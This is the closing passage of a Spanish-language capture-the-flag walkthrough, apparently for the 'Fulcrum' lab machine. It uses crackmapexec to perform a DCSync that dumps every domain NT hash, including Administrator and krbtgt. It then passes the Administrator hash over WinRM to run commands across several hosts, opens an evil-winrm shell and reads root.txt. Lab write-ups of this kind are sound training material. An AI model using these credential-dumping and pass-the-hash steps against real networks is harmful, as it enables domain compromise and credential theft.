PS C:\Users\923a\Documents> whoami
fulcrum\923a
PS C:\Users\923a\Documents> type C:\Users\Administrator\Desktop\root.txt
8dd**************************cab
PS C:\Users\923a\Documents>
Shell - Administrator
Si quisieramos una shell especificamente como Administrator usando la credencial de 923a podemos hacer un DCSync para ver los hashes NT de todos los usuarios
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$ --ntds drsuapi
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
SMB dc.fulcrum.local 445 DC [+] fulcrum.local\923a:@fulcrum_bf392748ef4e_$ (Pwn3d!)
SMB dc.fulcrum.local 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc.fulcrum.local 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:17ac19e99e0d2140a9162c97414ceb43:::
SMB dc.fulcrum.local 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB dc.fulcrum.local 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:30dd0b7d7f91ca7b1ec413871f095c64:::
SMB dc.fulcrum.local 445 DC ldap:1103:aad3b435b51404eeaad3b435b51404ee:a97c08ac07aa5f9a2fd85c8557cb5934:::
SMB dc.fulcrum.local 445 DC 923a:1104:aad3b435b51404eeaad3b435b51404ee:57cecc4c6320e7a5739ef24ea54ae6b4:::
SMB dc.fulcrum.local 445 DC BTables:1105:aad3b435b51404eeaad3b435b51404ee:35f6c3ebbd5fb321ab9b312177ac63cf:::
SMB dc.fulcrum.local 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:d1c6ccdaaf3c22126e7f9f49a5b8ecec:::
SMB dc.fulcrum.local 445 DC FILE$:1106:aad3b435b51404eeaad3b435b51404ee:7d766e4328b3a15d562ea8f319b34788:::
Usando este hash ya que el usuario es administrador del dominio podemos ejecutar comandos en cualquiera de los equipos como el usuario Administrator
❯ proxychains -q crackmapexec winrm 192.168.122.130-132 -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43 -d fulcrum.local -x whoami
HTTP dc.fulcrum.local 5985 DC [*] http://dc.fulcrum.local:5985/wsman
WINRM dc.fulcrum.local 5985 DC [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM dc.fulcrum.local 5985 DC [+] Executed command
WINRM dc.fulcrum.local 5985 DC fulcrum\administrator
HTTP file.fulcrum.local 5985 FILE [*] http://file.fulcrum.local:5985/wsman
WINRM file.fulcrum.local 5985 FILE [+] fulcrum.local\Administrator:17ac19e99e0d2140a9162c97414ceb43 (Pwn3d!)
WINRM file.fulcrum.local 5985 FILE [+] Executed command
WINRM file.fulcrum.local 5985 FILE fulcrum\administrator
Nuevamente nos conectamos con evil-winrm pero esta vez como Administrator
❯ proxychains -q evil-winrm -i dc.fulcrum.local -u Administrator -H 17ac19e99e0d2140a9162c97414ceb43
PS C:\Users\Administrator\Documents> whoami
fulcrum\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
8dd**************************cab
PS C:\Users\Administrator\Documents>